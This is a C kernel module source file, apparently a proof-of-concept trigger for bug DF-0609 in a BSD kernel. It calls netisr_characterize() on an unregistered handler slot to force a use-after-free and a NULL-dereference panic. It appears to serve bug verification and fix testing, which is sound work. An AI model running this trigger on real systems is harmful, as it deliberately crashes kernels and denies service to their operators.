DF-0609 / trigger_kmod.c
/* * DF-0609 trigger module โ deterministically exercises the missing-return * UAF/NULL-deref bug in netisr_characterize(). * * Strategy: NETISR_NETGRAPH (30) is registered ONLY when the netgraph * module is loaded. On the default X86_64_GENERIC kernel (no netgraph * kld), netisrs[30].ni_handler == NULL. We allocate a valid mbuf and * call netisr_characterize(NETISR_NETGRAPH, &m, 0) directly, which * enters the buggy branch (ni_handler==NULL โ m_freem+*mp=NULL with no * return), falls through to read m->m_flags from freed memory (UAF), * then calls ni->ni_hashfn(&mp,...) with *mp==NULL โ netisr_hashfn0 โ * m_sethash(NULL,0) โ NULL-deref panic. * * On a FIXED kernel (return added after *mp=NULL), the function returns * cleanly; mp is NULL, no panic. * * This requires root to kldload โ the same trust level as a protocol * module kldload/kldunload that would transiently NULL a handler in the * real-world attack vector. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/mbuf.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <net/netisr.h> static int df0609_trigger(SYSCTL_HANDLER_ARGS) { int val = 0; int error; struct mbuf *m, *mp; error = sysctl_handle_int(oidp, &val, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (val != 1) return (0); /* * Allocate a valid mbuf with a packet header. netisr_characterize * KKASSERTs m != NULL and reads m->m_flags, so we need a real mbuf. */ m = m_gethdr(M_WAITOK, MT_DATA); if (m == NULL) { kprintf("DF-0609: m_gethdr failed\n"); return (ENOMEM); } mp = m; kprintf("DF-0609: m=%p m_flags=0x%x โ calling " "netisr_characterize(NETISR_NETGRAPH=%d, &mp, 0)\n", (void *)mp, mp->m_flags, NETISR_NETGRAPH); /* THE BUG TRIGGER โ on unfixed kernel this panics inside the call */ netisr_characterize(NETISR_NETGRAPH, &mp, 0); /* We only reach here on a FIXED kernel (return added) */ kprintf("DF-0609: returned OK, mp=%p (NULL == mbuf freed cleanly, " "no panic โ FIX WORKS)\n", (void *)mp); return (0); } static int df0609_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("DF-0609 trigger module loaded. " "Write 1 to hw.df0609.trigger to fire.\n"); return (0); case MOD_UNLOAD: kprintf("DF-0609 trigger module unloaded.\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t df0609_mod = { "df0609_trigger", df0609_modevent, NULL }; DECLARE_MODULE(df0609_trigger, df0609_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(df0609_trigger, 1); SYSCTL_NODE(_hw, OID_AUTO, df0609, CTLFLAG_RW, 0, "DF-0609 trigger"); SYSCTL_PROC(_hw_df0609, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df0609_trigger, "I", "write 1 to trigger netisr_characterize(NETISR_NETGRAPH) bug"); |